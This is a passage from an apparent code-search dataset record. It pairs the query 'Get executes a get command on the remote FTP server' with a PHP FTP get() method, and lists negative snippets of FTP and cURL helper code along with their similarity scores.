);\n\t$ftp->is_ssl = $is_ssl;\n\t$ftp->port = $port;\n\t$ftp->passive = $passive_mode;\n\t$ftp->domain = rtrim( $url, \"/\" );\n\t$conn = $ftp->connect();\n\tif ( $conn === false ) {\n\t\tCLI::error( \"Could Not connect To Your FTP Server.Please check entry.\" );\n\t} else {\n\t\tCLI::log( CLI::color( \"Step 1/\" . $step . \":\", \"b\" ) . \" The connection to the ftp server was successful.\" );\n\t}\n\n\t//get wp-config File\n\tCLI::log( \"We are finding the WordPress `wp-config.php` file in your server. please wait ...\" );\n\t$current_path = $conn->getDirectory();\n\t$wp_config_path = $conn->ftp_file_search( $current_path, true, \"wp-config.php\" );\n\tif ( $wp_config_path != false ) {\n\t\tCLI::log( CLI::color( \"Step 2/\" . $step . \":\", \"b\" ) . \" WordPress folder was found successfully.\" );\n\t\t$ftp->wp_directory = str_replace( \"wp-config.php\", \"\", $wp_config_path );\n\t} else {\n\t\tCLI::error( \"WordPress folder not found on your server.\" );\n\t}\n\n\t//Check Domain Name\n\t$check_domain = $ftp->check_ftp_domain( $ftp->domain, $ftp->wp_directory );\n\tif ( $check_domain === false ) {\n\t\tCLI::error( \"We were unable to connect to your WordPress Domain.Please Check your Domain and tray again.\" );\n\t} else {\n\t\t$ftp->wp_content = $check_domain['wp_content'];\n\t\t$ftp->mu_plugins = $check_domain['mu_plugins'];\n\t\t$ftp->wp_uploads = $check_domain['wp_uploads'];\n\t\t$ftp->wp_themes = $check_domain['wp_themes'];\n\t\t$ftp->wp_plugins = $check_domain['wp_plugins'];\n\t\tCLI::log( CLI::color( \"Step 3/\" . $step . \":\", \"b\" ) . \" Get Your Wordpress information successfully.\" );\n\t}\n\n\t//Save\n\t$save = $ftp->save_config( array(\n\t\t'host' => $ftp->host,\n\t\t'login' => $ftp->login,\n\t\t'password' => $ftp->password,\n\t\t'is_ssl' => $ftp->is_ssl,\n\t\t'passive' => $ftp->passive,\n\t\t'port' => $ftp->port,\n\t\t'domain' => $ftp->domain,\n\t\t'wp_directory' => $ftp->wp_directory,\n\t\t'wp_content' => $ftp->wp_content,\n\t\t'mu_plugins' => $ftp->mu_plugins,\n\t\t'wp_uploads' => $ftp->wp_uploads,\n\t\t'wp_themes' => $ftp->wp_themes,\n\t\t'wp_plugins' => $ftp->wp_plugins\n\t) );\n\tif ( $save === false ) {\n\t\tCLI::error( \"The file information of the remote file is not saved. Please try again.\" );\n\t} else {\n\t\tCLI::success( \"Set Remote Config file successfully.\" );\n\t}\n\n}", "function downloadFileThroughFtp(\n $username,\n $password,\n $host,\n $absolutePath,\n $localDirectoryPath )\n{\n $baseName = extractBaseNameFromPath( $absolutePath );\n\n $ftpStream = ftp_connect( $host );\n\n ftp_login( $ftpStream, $username, $password );\n ftp_pasv( $ftpStream, TRUE );\n\n $isFileDownloaded = writeLocalFileFromFtpStream(\n $baseName, $localDirectoryPath, $ftpStream, $absolutePath );\n\n ftp_close( $ftpStream );\n\n return $isFileDownloaded;\n}", "public function run(string $command);", "public function getMethod()\n {\n return 'putRemoteFile';\n }", "public function getMethod()\n {\n return 'putRemoteFile';\n }", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function iCallCommand($command)\n {\n $this->executeCommand($command);\n }", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}", "public function execute() {}" ]
[ "0.71778774", "0.6710108", "0.6599055", "0.5585784", "0.5503097", "0.5361398", "0.534075", "0.5302665", "0.525291", "0.52426815", "0.5242516", "0.5231197", "0.5217212", "0.5200991", "0.5193741", "0.5162911", "0.51505053", "0.50532484", "0.50263596", "0.5006137", "0.49880219", "0.4979387", "0.49734527", "0.49516255", "0.49232218", "0.49163747", "0.4897031", "0.48812282", "0.48809096", "0.4874618", "0.48655227", "0.48630798", "0.48462024", "0.48370063", "0.4831961", "0.4823881", "0.48230243", "0.4820485", "0.4790954", "0.47860205", "0.47758868", "0.47611636", "0.47595927", "0.4755155", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47535396", "0.47430068", "0.47342446", "0.4722529", "0.47194114", "0.47167212", "0.47167212", "0.46965027", "0.46662983", "0.4652501", "0.464856", "0.4643347", "0.4639197", "0.46376553", "0.46350375", "0.4632808", "0.46318614", "0.46190855", "0.4616763", "0.4616763", "0.46069545", "0.46069545", "0.46069545", "0.46069545", "0.46069545", "0.46069545", "0.4605458", "0.4605458", "0.4605205", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758", "0.46035758" ]
0.5885544
3
Get executes a get command on the remote FTP server.
public function get($local, $remote, $mode = FTP_ASCII) { if ($this->getActive()) { // Get the requested file if (ftp_get($this->_connection, $local, $remote, $mode)) { // If successful, return the path to the downloaded file... return $remote; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function get($localfile, $remotefile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_get($this->_socket, $localfile, $remotefile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!$this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$remotefile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \tif (@file_exists($localfile)) {\r\n \t\t$this->debug(\"Warning : local file will be overwritten\\n\");\r\n \t} else {\r\n \t\tumask($this->_umask);\r\n \t}\r\n \t\r\n \t$fp = @fopen($localfile, \"w\");\r\n \tif (!$fp) {\r\n \t\t$this->debug(\"Error : Cannot create \\\"\".$localfile.\"\\\"\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \t$this->putcmd(\"RETR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Retrieving remote file \\\"\".$remotefile.\"\\\" to local file \\\"\".$localfile.\"\\\"\\n\");\r\n \twhile (!feof($sock_data)) {\r\n \t\tfputs($fp, fread($sock_data, 4096));\r\n \t}\r\n \tfclose($fp);\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function ultimate_remote_get($path){\r\n\r\n\tif(function_exists('curl_init')){\r\n\t\t// create curl resource\r\n\t\t$ch = curl_init();\r\n\r\n\t\t// set url\r\n\t\tcurl_setopt($ch, CURLOPT_URL, $path);\r\n\r\n\t\t//return the transfer as a string\r\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n\t\t// $output contains the output string\r\n\t\t$output = curl_exec($ch);\r\n\r\n\t\t// close curl resource to free up system resources\r\n\t\tcurl_close($ch);\r\n\r\n\t\tif($output !== \"\")\r\n\t\t\treturn $output;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t} else {\r\n\t\treturn false;\r\n\t}\r\n}", "public function executeGet()\n {\n throw new Frapi_Error('NO_GET');\n }", "function fget($fp, $remotefile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_fget($this->_socket, $fp, $remotefile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!$this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$remotefile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \t$this->putcmd(\"RETR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t$this->debug(\"Retrieving remote file \\\"\".$remotefile.\"\\\" to local file ...\\n\");\r\n \twhile (!feof($sock_data)) {\r\n \t\tfputs($fp, fread($sock_data, 4096));\r\n \t}\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function sendGet()\n\t{\n\t\t$ch = curl_init(\"http://localhost/rest/index.php/book\");\n\t\t//a true, obtendremos una respuesta de la url, en otro caso, \n\t\t//true si es correcto, false si no lo es\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t//establecemos el verbo http que queremos utilizar para la petición\n\t\tcurl_setopt($ch, CURLOPT_CUSTOMREQUEST, \"GET\");\n\t\t//obtenemos la respuesta\n\t\t$response = curl_exec($ch);\n\t\t// Se cierra el recurso CURL y se liberan los recursos del sistema\n\t\tcurl_close($ch);\n\t\tif(!$response) {\n\t\t return false;\n\t\t}else{\n\t\t\tvar_dump($response);\n\t\t}\n\t}", "public static function get() {\n return self::call(\"GET\");\n }", "public function sendGet ()\n {\n return $this->handleQuery();\n }", "public function getGet ();", "function get($remote_file, $local_file, $overwrite = false, $mode = null) {\r\n\t\tif ( $mode === null ) {\r\n\t\t\t$mode = $this->checkFileExtension($remote_file);\r\n\t\t}\r\n\t\t\r\n\t\t$remote_file = $this->_constructPath($remote_file);\r\n\t\t\r\n\t\tif ( @file_exists($local_file) && !$overwrite ) {\r\n\t\t\tthrow new ftpGetLocalFileExistsException($local_file);\r\n\t\t}\r\n\t\tif ( @file_exists($local_file) && !@is_writeable($local_file) && $overwrite ) {\r\n\t\t\tthrow new ftpGetLocalFileNotWritableException($local_file);\r\n\t\t}\r\n\t\t\r\n\t\tif ( @function_exists('ftp_nb_get') ) {\r\n\t\t\t$res = @ftp_nb_get($this->_handle, $local_file, $remote_file, $mode);\r\n\t\t\twhile ( $res == FTP_MOREDATA ) {\r\n\t\t\t\t$this->notify('nb_get');\r\n\t\t\t\t$res = @ftp_nb_continue($this->_handle);\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$res = @ftp_get($this->_handle, $local_file, $remote_file, $mode);\r\n\t\t}\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpGetException(\"File '\" . $remote_file . \"' could not be downloaded to '$local_file'.\");\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "function curl_get($url, $get = false, $options = array()) { \n $defaults = array(\n CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : '') . (is_array($get) ? http_build_query($get) : ''),\n CURLOPT_HEADER => 0,\n CURLOPT_RETURNTRANSFER => TRUE,\n CURLOPT_TIMEOUT => 4,\n\t\tCURLOPT_FOLLOWLOCATION => true\n );\n \n $ch = curl_init();\n curl_setopt_array($ch, ($options + $defaults));\n if( ! $result = curl_exec($ch)) {\n trigger_error(curl_error($ch));\n }\n curl_close($ch);\n return $result;\n}", "function ftpclient($ftp = null, $cmd = '', $arg = null, $arg2 = null) {\nstatic $conn = null;\n\n\tif ($ftp == null) {\n\t\treturn $conn;\n\t}\n\n\tif ($cmd == '') {\n\t\tif (!$conn) {\n\t\t\t$res = ftpclient($ftp,'connect');\n\t\t\tif ($res) {\n\t\t\t\t$u = ftpclient_value($ftp,'user');\n\t\t\t\tif ($u && !ftpclient($ftp,'login')) {\n\t\t\t\t\tftpclient($ftp,'close');\n\t\t\t\t\t$res = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$conn = $res;\n\t\t}\n\t\treturn $conn;\n\t}\n\n\tif ($cmd == 'connect') {\n\t\t$p = ftpclient_value($ftp,'port',21);\n\t\t$t = ftpclient_value($ftp,'timeout',90);\n\t\t$res = ftp_connect($ftp['host'],$p,$t);\n\t\tif ($res) {\n\t\t\t$conn = $res;\n\t\t}\n\t\treturn $conn;\n\t}\n\n\tif (!$conn) {\n\t\treturn $conn;\n\t}\n\n\tswitch $cmd {\n\tcase 'quit':\n\tcase 'close':\n\t\t$res = ftp_close($conn);\n\t\t$conn = null;\n\t\tbreak;\n\tcase 'login':\n\t\t$res = ftp_login($conn,$ftp['user'],$ftp['password']);\n\t\tif (!$res && empty($ftp['stay'])) {\n\t\t\tftpclient($ftp,'close');\n\t\t\t$conn = null;\n\t\t}\n\t\tbreak;\n\tcase 'pasv':\n\t\t$p = ftpclient_value($ftp,'pasv',true);\n\t\t$res = ftp_pasv($conn,$p);\n\t\tbreak;\n\tcase 'pwd':\n\t\t$res = ftp_pwd($conn);\n\t\tbreak;\n\tcase 'get':\n\t\t$m = ftpclient_value($ftp,'mode',FTP_BINARY);\n\t\t$res = ftp_get($conn,$arg,$arg2,$m);\n\t\tbreak;\n\tcase 'put':\n\t\t$m = ftpclient_value($ftp,'mode',FTP_BINARY);\n\t\t$res = ftp_put($conn,$arg,$arg2,$m);\n\t\tbreak;\n\tcase default:\n\t\t$res = false;\n\t\tbreak;\n\t}\n\n\treturn $res;\n}", "public function index_get() {\n $action = $this->get('action');\n switch ($action) {\n case \"retrieve_get\":\n $this->retrieve_get();\n break;\n default:\n $this->not_found();\n break;\n }\n }", "public static function fetch_remote_file($url){\n\t\t// get host name and url path //\n\t\t$parsedUrl = parse_url($url);\n\t\t$host = $parsedUrl['host'];\n\t\tif (isset($parsedUrl['path'])) {\n\t\t\t$path = $parsedUrl['path'];\n\t\t} else {\n\t\t\t// url is pointing to host //\n\t\t\t$path = '/';\n\t\t}\n\t\tif (isset($parsedUrl['query'])) {\n\t\t\t$path.= '?' . $parsedUrl['query'];\n\t\t}\n\t\tif (isset($parsedUrl['port'])) {\n\t\t\t$port = $parsedUrl['port'];\n\t\t} else {\n\t\t\t$port = '80';\n\t\t}\n\t\t$timeOut = 10;\n\t\t$reply = '';\n\t\t// connect to remote server //\n\t\t$fp = @fsockopen($host, '80', $errno, $errstr, $timeOut );\n\t\tif ( !$fp ) throw new Exception(\"Failed to connect to remote server {$host}\");\n\t\telse\n\t\t{\n\t\t\t// send headers //\n\t\t\t$headers = \"GET $path HTTP/1.0\\r\\n\";\n\t\t\t$headers.= \"Host: $host\\r\\n\";\n\t\t\t$headers.= \"Referer: http://$host\\r\\n\";\n\t\t\t$headers.= \"Connection: Close\\r\\n\\r\\n\";\n\t\t\tfwrite($fp, $headers);\n\t\t\t// retrieve the reply //\n\t\t\twhile (!feof($fp)) {\n\t\t\t\t$reply.= fgets($fp, 256);\n\t\t\t}\n\t\t\tfclose($fp);\n\t\t\t// strip headers //\n\t\t\t$tempStr = strpos($reply, \"\\r\\n\\r\\n\");\n\t\t\t$reply = substr($reply, $tempStr + 4);\n\t\t}\n\t\t// return content //\n\t\treturn $reply;\n\t}", "public function httpGet()\n {\n return $this->method(\"GET\");\n }", "function curl_get($url, array $get = NULL, array $headers = NULL, array $options = array()) { \n $defaults = array( \n CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : ''). http_build_query($get), \n CURLOPT_HEADER => 0, \n CURLOPT_HTTPHEADER => $headers,\n CURLOPT_RETURNTRANSFER => TRUE, \n CURLOPT_TIMEOUT => 4,\n $headers\n ); \n \n $ch = curl_init(); \n curl_setopt_array($ch, ($options + $defaults));\n \n if ( ! $result = curl_exec($ch)) { \n trigger_error(curl_error($ch)); \n } \n curl_close($ch); \n return $result; \n}", "function get()\n {\n }", "function hsend_get(&$app, &$c) {\n\t\t$app->logger->debug(sprintf('%s::%s', __CLASS__, __FUNCTION__));\n\n\t\t$this->_http->setMethod(HTTP_REQUEST_METHOD_GET);\n\n\t\t$this->_http->setURL($c->param('app.view_http.request.uri'));\n\n\t\t$this->_set_basic_auth($app, $c);\n\n\t\t$this->_load_get_params($app, $c);\n\n\t\t$this->_load_headers($app, $c);\n\n\t\t$this->_http->sendRequest();\n\n\t\t$this->_handler_response($app, $c);\n\n\t\treturn $app->status->handled;\n\t}", "public function get($path, $action)\n {\n echo $this->run($path, $action, 'get');\n }", "function getPage(){\r\n\t$pageData=getPages();\r\n\tfor($i=0;$i<sizeof($pageData);$i++){\r\n\t\tif($pageData[$i]['key']==$_GET['key']){\r\n\t\t\t$page=$pageData[$i];\r\n\t\t}\r\n\t}\r\n\t// Return on empty/not found page\r\n\tif(!isset($page)){\r\n\t\treturn;\r\n\t}\r\n\t// Access Site Info\r\n\t$siteData=getSites();\r\n\tfor($i=0;$i<sizeof($siteData);$i++){\r\n\t\tif($siteData[$i]['id']==$page['id']){\r\n\t\t\t$site=$siteData[$i];\r\n\t\t}\r\n\t}\r\n\t// Return on empty/not found page\r\n\tif(!isset($site)){\r\n\t\treturn;\r\n\t}\r\n\t// Real Work Done Here\r\n\t// FTP Connection Setup\r\n\t$ftp_server=$site['site'];\r\n\t$ftp_user_name=$site['user'];\r\n\t$ftp_user_pass=$site['password'];\r\n\t$local_file = tempnam(\"/tmp\", \"tmp\");\r\n\t$server_file=$site['path'].$page['path'];\r\n\t// set up basic connection\r\n\t$conn_id = ftp_connect($ftp_server); \r\n\t// login with username and password\r\n\t$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); \r\n\t// check connection\r\n\tif ((!$conn_id) || (!$login_result)) { \r\n echo \"FTP connection has failed!\";\r\n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \r\n exit; \r\n } \r\n\tif (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {\r\n//\t echo \"Successfully written to $local_file\\n\";\r\n\t} else {\r\n\t echo \"There was a problem\\n\";\r\n\t}\r\n\t// close the FTP stream \r\n\tftp_close($conn_id); \r\n\t$html = file_get_html($local_file);\r\n\tunlink($local_file);\r\n\treturn $html;\r\n}", "function Get( $url )\r\n\t{\r\n\t\tif( $this->debug & DBGTRACE ) echo \"Get( $url )\\n\";\r\n\t\t$this->responseHeaders = $this->responseBody = \"\";\r\n\t\t$uri = $this->makeUri( $url );\r\n\t\t\r\n\t\tif( $this->sendCommand( \"GET $uri HTTP/$this->protocolVersion\" ) )\r\n\t\t\t$this->processReply();\r\n\t\treturn $this->reply;\r\n\t}", "public function curl_get($url, array $get = NULL, array $options = array()){\n\n try{\n\n $defaults = array(\n CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : ''). http_build_query($get),\n CURLOPT_HEADER => 0,\n CURLOPT_RETURNTRANSFER => TRUE,\n CURLOPT_TIMEOUT => 4\n );\n\n $ch = curl_init();\n curl_setopt_array($ch, ($options + $defaults));\n if(!$result = curl_exec($ch)){\n\n //\n // HOOOSTON...VE HAF PROBLEM!\n throw new Exception('CRNRSTN :: CURL [GET] ERROR experienced :: '.curl_error($ch));\n\n }\n\n curl_close($ch);\n\n return $result;\n\n } catch (Exception $e) {\n\n curl_close($ch);\n\n $this->catchException($e, LOG_ERR, __METHOD__, __NAMESPACE__);\n\n return false;\n\n }\n\n }", "function get($name) {\r\n\t\treturn $this->_send(array('cmd'=>'get', 'name'=>$name));\r\n\t}", "public function get($key)\r\n\t{\r\n\t\tif($key === null)\r\n\t\tthrow new Exception(get_class($this) . \"::get key cannot be null\");\r\n\t\t$paths = $this->getPaths($key);\r\n\t\tforeach($paths as $path)\r\n\t\t{\r\n\t\t\t$contents = '';\r\n\t\t\t$ch = curl_init();\r\n\t\t\tcurl_setopt($ch, CURLOPT_VERBOSE, ($this->debug > 0 ? 1 : 0));\r\n\t\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, $this->requestTimeout);\r\n\t\t\tcurl_setopt($ch, CURLOPT_URL, $path);\r\n\t\t\tcurl_setopt($ch, CURLOPT_FAILONERROR, true);\r\n\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\t\t$response = curl_exec($ch);\r\n\t\t\tif($response === false)\r\n\t\t\tcontinue; // Try next source\r\n\t\t\tcurl_close($ch);\r\n\t\t\treturn $response;\r\n\t\t}\r\n\t\tthrow new Exception(get_class($this) . \"::get unable to retrieve {$key}\");\r\n\t}", "function dcs_dropship_getInventoryDatabase()\r\n{\r\n\tglobal $dropshipFTPServer;\r\n\tglobal $dropshipFTPDirectory;\r\n\r\n\tdcsLogToFile( \"getInventoryDatabase starts.\" );\r\n\t$conn_id = ftp_connect( $dropshipFTPServer );\r\n\t$login_result = ftp_login( $conn_id, get_option(DCS_DROPSHIP_FTP_USER), get_option(DCS_DROPSHIP_FTP_PASSWORD) );\r\n\tftp_chdir( $conn_id, $dropshipFTPDirectory );\r\n\t$contents = ftp_nlist( $conn_id, \"Inventory_\".date(\"Ymd\").\"*.tab\" );\r\n\r\n\tif( $contents[0] != \"\" )\r\n\t{\r\n\t\tif( ftp_get($conn_id, DCS_DROPSHIP_DIR.\"files/Inventory.tab\", $contents[0], FTP_BINARY) )\r\n\t\t{\r\n\t\t\tdcsLogToFile( \"Inventory FTP get successful.\" );\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tdcsLogToFile( \"Inventory FTP get successful.\" );\r\n\t\t}\r\n\t}\r\n\tdcsLogToFile( \"getInventory ends.\" );\r\n\r\n\t//Updates database\r\n\tdcs_dropship_loadInventoryFromFile();\r\n}", "protected function _actionGet(KCommandContext $context)\n {\n if ( $context->request->getFormat() == 'html' ) {\n $context->response->setRedirect(JRoute::_('format=json&option=com_connect&view='.$this->view));\n return; \n }\n \n if ( $this->get ) \n { \n $url = ltrim($this->get, '/');\n $data = KConfig::unbox($this->api->get($url));\n $data = json_encode($data); \n } \n else \n {\n $data = (array) $this->api->getUser();\n }\n \n $this->getView()->data($data);\n \n return parent::_actionGet($context); \n }", "public function get() {\n \n if (!isset($this->request->args[0])) {\n exit;\n }\n\n $url = $this->request->args[0];\n\n //add the $_GET vars to the request\n $query_string = http_build_query($this->request->get);\n $destination_url = $url . ($query_string ? '?'.$query_string : '');\n\n //exit if onBeforeGet doesn't pass\n if($this->onBeforeGet($destination_url) === false){\n return false;\n }\n \n //logs to file if enabled\n if($this->log_to_file){\n $logger = new \\sb\\Logger\\CommandLine();\n $log_name = preg_replace(\"~[^\\w+]~\", \"_\", get_called_class());\n $logger->{$log_name}(json_encode([\"ip\" => \\sb\\Gateway::$remote_addr, \"url\" => $destination_url, \"get\" => $query_string, \"post\" => $this->request->post])); \n }\n \n //proxy to site and return response\n $ch = curl_init();\n \n //set the url to grab the data from\n curl_setopt($ch, CURLOPT_URL, $destination_url);\n \n //set the function to pass the headers from the destination back to the client\n curl_setopt($ch, CURLOPT_HEADERFUNCTION, array($this, 'headerCallBack'));\n \n //set the agent to be used for request\n curl_setopt($ch, CURLOPT_USERAGENT, $this->agent);\n \n //wait 10 seconds for timeout\n curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->timeout);\n \n //forward any post requests if they exist\n if(count($this->request->post)){\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $this->request->post);\n }\n \n //follow any redirects\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n \n //return the result\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n \n //ignore ssl errors if set to true\n if($this->ignore_ssl_errors){\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n }\n \n //set any additional curl_opts given\n foreach($this->curl_opts as $key=>$val){\n curl_setopt($ch, $key, $val);\n }\n \n //display the output\n return curl_exec($ch);\n }", "public function getRemote();", "private function _get($path)\n {\n $this->_logIn();\n\n // @TODO we can access beyond page 1 by adding ?page=pX where X is the number\n // of the page requested\n $this->_curlUrl = self::GV_SERVER_URL . $path;\n \n // Send HTTP POST request.\n curl_setopt($this->_ch, CURLOPT_URL, $this->_curlUrl);\n curl_setopt($this->_ch, CURLOPT_POST, false);\n curl_setopt($this->_ch, CURLOPT_RETURNTRANSFER, true);\n\n $this->_result = curl_exec($this->_ch);\n \n return $this->_result;\n }", "function get_remote($url) {\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_HEADER, 0);\n\n $contents = curl_exec($ch);\n curl_close($ch);\n return $contents;\n\n }", "public function get( /* void */ );", "function cmd_get($db, $params, $computer) {\n if (!isset($params['name'])) {\n throw new NuboException(ERROR_MISSING_PARAMETER);\n }\n $result = $db->select('SELECT file_id, hash, mtime FROM tbl_file WHERE filename=:name LIMIT 1', ['name/text' => $params['name']]);\n if (($row = reset($result)) === false) {\n throw new NuboException(ERROR_STORAGE);\n }\n if ($row['hash'] != '') {\n $content = file_get_contents(buildArchiveName($row['file_id']));\n if ($content === false) {\n throw new NuboException(ERROR_STORAGE);\n }\n } else {\n $content = null;\n }\n return ['hash' => $row['hash'], 'mtime' => $row['mtime'], 'content' => $content];\n }", "function get (string $url, array $args = []): string {\n\t$append = '';\n\tif (count($args) > 0) {\n\t\t$append .= '/'.parseUrlGet($args);\n\t}\n\n\t$curlCall = curl_init($url.$append);\n\n\tcurl_setopt($curlCall, CURLOPT_RETURNTRANSFER, 1);\n\n\t$return = curl_exec($curlCall);\n\tcurl_close($curlCall);\n\n\treturn $return;\n}", "function httpGET($url = '/', $headers = '') {\n $this->ensureOpened(__FUNCTION__);\n ($headers = trim($headers)) === '' or $headers .= \"\\r\\n\";\n\n // Note: in HTTP/1.1 Connection defaults to Keep Alive which will keep\n // the connection hanging unless you send 'Connection: close'. Its output\n // also changes due to chunked transfer encoding.\n $headers = \"GET $url HTTP/1.0\\r\\n\".\n $headers.\"\\r\\n\";\n\n $this->write($headers);\n return $this->readAll();\n }", "function get($url, $headers=array(), $userPW=0, $params=array())\n{\n $paramLength = count($params);\n // only set params if there are some else url is fine\n if ($paramLength > 0)\n {\n $url = $url.'?'.http_build_query($params,'','&');\n }\n echo $url . \"<br/>\";\n $ch = curl_init();\n // set the url\n curl_setopt($ch, CURLOPT_URL, $url);\n // set http method\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, \"GET\");\n if ($userPW <> 0)\n {\n curl_setopt($ch, CURLOPT_USERPWD, User_Creds::PingUser . \":\" . User_Creds::PingPass);\n }\n $headerLength = count($headers);\n if ($headerLength > 0)\n {\n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\n }\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);\n //get response\n $response = curl_exec($ch);\n curl_close($ch);\n return $response;\n}", "public function get($key)\n {\n return $this->send(['command'=>'get', 'key'=>$key, 'seq'=>$this->getSequence()]);\n }", "public function getFTP()\n\t{\n\t\t$ftpdata = array();\n\t\t$sql = \"SELECT * FROM \" . $this->table_prefix . \"_ftp ORDER BY id DESC\";\n\t\t$result = $this->db_cache( $sql, 'id' );\n\n\t\tif( ! empty( $result ) )\n\t\t{\n\t\t\tforeach( $result as $row )\n\t\t\t{\n\t\t\t\t$ftpdata[$row['id']] = array(\n\t\t\t\t\t\"id\" => $row['id'],\n\t\t\t\t\t\"host\" => $row['host'],\n\t\t\t\t\t\"user\" => $row['user'],\n\t\t\t\t\t\"pass\" => $row['pass'],\n\t\t\t\t\t\"fulladdress\" => $row['fulladdress'],\n\t\t\t\t\t\"subpart\" => $row['subpart'],\n\t\t\t\t\t\"ftppart\" => $row['ftppart'],\n\t\t\t\t\t\"status\" => $row['active'],\n\t\t\t\t\t\"active\" => ( $row['active'] == 1 ) ? $this->lang('active_yes') : $this->lang('active_no')\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\treturn $ftpdata;\n\t}", "public static function CurlGet($url, array $get = NULL, array $options = array()) {\n $defaults = array(\n CURLOPT_URL => $url . (strpos($url, '?') === FALSE ? '?' : '') . http_build_query($get),\n CURLOPT_HEADER => 0,\n CURLOPT_RETURNTRANSFER => TRUE,\n CURLOPT_TIMEOUT => 4\n );\n\n $ch = curl_init();\n curl_setopt_array($ch, ($options + $defaults));\n if (!$result = curl_exec($ch)) {\n trigger_error(curl_error($ch));\n }\n curl_close($ch);\n return $result;\n }", "public function get(...$args)\n {\n return $this->curl('get', ...$args);\n }", "function getcontent($server, $port, $file) {\r\n\t\t$cont = \"\";\r\n\t\t$ip = gethostbyname($server);\r\n\t\t$fp = fsockopen($ip, $port);\r\n\t\tif (!$fp) 